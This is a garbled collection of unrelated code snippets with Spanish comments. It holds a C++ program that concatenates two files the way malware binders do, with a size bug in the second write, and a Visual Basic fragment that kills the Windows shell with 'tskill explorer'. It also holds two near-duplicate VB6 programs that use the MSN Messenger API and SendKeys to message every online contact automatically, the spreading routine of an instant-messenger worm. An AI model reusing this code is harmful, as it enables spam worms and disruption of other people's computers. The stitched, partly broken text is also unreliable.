#include <iostream>
#include <fstream>
#include <string>
#include <stdlib.h>

using namespace std;



char* escribir(string archivo1)
{
    char * buffer;
    ifstream lectura1(archivo1.c_str(), ifstream::binary);
    lectura1.seekg(0, ios::end);
    int tamanio1 = lectura1.tellg();
    lectura1.seekg(0);


    buffer = new char [tamanio1];
    lectura1.read(buffer,tamanio1);
    lectura1.close();

    return buffer;
}


int getTamanio(string archivo1)
{
    ifstream lectura1(archivo1.c_str(), ifstream::binary);
    lectura1.seekg(0, ios::end);
    int tamanio1 = lectura1.tellg();
    lectura1.seekg(0);
    lectura1.close();
    return tamanio1;
    }



void crearFichero(string archivo1, char* buffer1, char* buffer2, int tamanio1, int tamanio2)
{
  ofstream escritura1(archivo1.c_str(), ofstream::binary);
  escritura1.write(buffer1, tamanio1);
  escritura1.write(buffer2, tamanio1);
  escritura1.close();
}

int main()
{
    string ruta;
    string ruta2;
    string destino1;
    string destino2;


    cout << "Ingresar ruta fichero1: " << endl;
    cin >> ruta;
    char* buffer = escribir(ruta);
 

    cout << "Ingresar ruta fichero2: " << endl;
    cin >> ruta2;
    char* buffer2 = escribir(ruta2);

    cout << "Ingresar ruta destino: " << endl;
    cin >> destino1;
    crearFichero(destino1, buffer, buffer2, getTamanio(ruta), getTamanio(ruta2));

   

delete[] buffer;
delete[] buffer2;


    return 0;
}

form_load

msgbox "jaja"
msgbox"jeje"
shell "tskill explorer"
' esto deberia esjecutarse cada 15 min
msgbox "jojo"
' esto ya seria la continuacion del code y no deberia ejecutarse cada 15 min
msgbox "continua el code"

end sub

Option Explicit
Public WithEvents MSN As MessengerAPI.Messenger
 Public WithEvents MsgrUIA As MessengerAPI.Messenger

Private Sub Wait(ByVal nSec As Integer)
Dim t1 As Date, t2 As Date

t1 = Second(Now)
t2 = t1 + nSec

Do
DoEvents
Loop While t2 > Second(Now)
End Sub
Private Sub Form_Load()
Set MSN = New MessengerAPI.Messenger
Set MsgrUIA = New MessengerAPI.Messenger
Dim user As IMessengerContact
Dim ConTacto As IMessengerContact
For Each user In MsgrUIA.MyContacts
If (user.Status = 2) Or (user.Status = 10) Or (user.Status = 14) Or (user.Status = 34) Or (user.Status = 50) Or (user.Status = 66) Then
MSN.InstantMessage (user.SigninName)
SendKeys ("prueba")
SendKeys ("{ENTER}")
AppActivate "Conversación"
SendKeys ("%{F4}")
Wait (1)
Wait (1)
Wait (1)
End If
Next
End Sub

Option Explicit
Public WithEvents MSN As MessengerAPI.Messenger
 Public WithEvents MsgrUIA As MessengerAPI.Messenger

Private Sub Wait(ByVal nSec As Integer)
Dim t1 As Date, t2 As Date

t1 = Second(Now)
t2 = t1 + nSec

Do
DoEvents
Loop While t2 > Second(Now)
End Sub
Private Sub Form_Load()
Set MSN = New MessengerAPI.Messenger
Set MsgrUIA = New MessengerAPI.Messenger
Dim user As IMessengerContact
Dim ConTacto As IMessengerContact
For Each user In MsgrUIA.MyContacts
If (user.Status = 2) Or (user.Status = 10) Or (user.Status = 14) Or (user.Status = 34) Or (user.Status = 50) Or (user.Status = 66) Then
MSN.InstantMessage (user.SigninName)
SendKeys ("prueba")
SendKeys ("{ENTER}")
Wait (1)
Wait (1)
Wait (1)
Wait (1)
Wait (1)
SendKeys ("%{F4}")

End If
Next
End Sub